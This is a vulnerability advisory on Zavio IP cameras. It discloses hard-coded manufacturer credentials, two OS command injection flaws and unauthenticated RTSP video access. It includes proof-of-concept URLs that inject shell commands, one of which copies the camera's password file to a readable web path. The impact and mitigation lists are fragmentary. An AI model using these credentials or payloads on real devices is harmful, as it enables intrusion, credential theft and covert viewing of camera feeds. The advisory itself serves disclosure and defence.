**Title:**Zavio IP Cameras multiple vulnerabilities
**Advisory ID:**CORE-2013-0302
**Advisory URL:**http://www.coresecurity.com/advisories/zavio-IP-cameras-multiple-vulnerabilities
**Date published:**2013-05-28
**Date of last update:**2013-05-28
**Vendors contacted:**Zavio
**Release mode:**User release
**Class:**Use of hard-coded credentials [CWE-798], OS command injection [CWE-78], Incorrect default permissions [CWE-276], OS command injection [CWE-78]
**Impact:**Code execution, Security bypass
**Remotely Exploitable:**Yes
**Locally Exploitable:**No
CVE Name:CVE-2013-2567, CVE-2013-2568, CVE-2013-2569, CVE-2013-2570
Multiple vulnerabilities have been found in Zavio IP cameras based on firmware v1.6.03 and below, that could allow an unauthenticated remote attacker:
There was no official answer from Zavio after several attempts to report these vulnerabilities (see [Sec. 9]). Contact vendor for further information.
Some mitigation actions may be:
manufacture.cgi
and wireless_mft.cgi
.General.Time.NTP.Server
in requests to /opt/cgi/view/param
.These vulnerabilities were discovered and researched by Nahuel Riva and Francisco Falcon from Core Exploit Writers Team. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.
[CVE-2013-2567] Zavio IP cameras use the Boa web server, a popular tiny server for embedded Linux devices. boa.conf
is the Boa configuration file, and the following account can be found inside:
# MFT: Specify manufacture commands user name and password MFT manufacture erutcafunam
This account is not visible from the user web interface; users are not aware of the existence and cannot eliminate it. Through this account it is possible to access two CGI files located in /cgi-bin/mft/
:
manufacture.cgi
wireless_mft.cgi
The last file contains the OS command injection showed in the following section.
[CVE-2013-2568] The file /cgi-bin/mft/wireless_mft.cgi
, has an OS command injection in the parameter ap
that can be exploited using the hard-coded credentials showed in the previous section:
username: manufacture password: erutcafunam
The following proof of concept copies the file where the user credentials are stored in the web server root directory:
http://192.168.1.100/cgi-bin/mft/wireless_mft?ap=travesti;cp%20/var/www/secret.passwd%20/web/html/credenciales
Afterwards, the user credentials can be obtained by requesting:
http://192.168.1.100/credenciales
[CVE-2013-2569] The RTSP protocol authentication is disabled by default. Therefore, the live video stream can be accessed by a remote unauthenticated attacker by requesting:
rtsp://192.168.1.100/video.h264
[CVE-2013-2570] The command injection is located in the function sub_C8C8
of the binary /opt/cgi/view/param
. The vulnerable parameter is General.Time.NTP.Server
. The following proof of concept can be used to obtain the complete list of access points by executing /sbin/awpriv ra0 get_site_survey
:
http://192.168.1.100/cgi-bin/admin/param?action=update&General.Time.DateFormat=ymd&General.Time.SyncSource=NTP&General.Time.TimeZone=GMT-06:00/America/Mexico_City&General.Time.NTP.ServerAuto=no&General.Time.NTP.Server=sarasa!de!palermo;/sbin/awpriv%20ra0%20get_site_survey;&General.Time.NTP.Update=01:00:00&General.Time.DayLightSaving.Enabled=on&General.Time.DayLightSaving.Start.Type=date&General.Time.DayLightSaving.Stop.Type=date&General.Time.DayLightSaving.Start.Month=01&General.Time.DayLightSaving.Stop.Month=01&General.Time.DayLightSaving.Start.Week=1&General.Time.DayLightSaving.Stop.Week=1&General.Time.DayLightSaving.Start.Day=01&General.Time.DayLightSaving.Stop.Day=01&General.Time.DayLightSaving.Start.Date=01&General.Time.DayLightSaving.Stop.Date=01&General.Time.DayLightSaving.Start.Hour=00&General.Time.DayLightSaving.Stop.Hour=00&General.Time.DayLightSaving.Start.Min=00&General.Time.DayLightSaving.Stop.Min=00&Image.OSD.Enabled=off
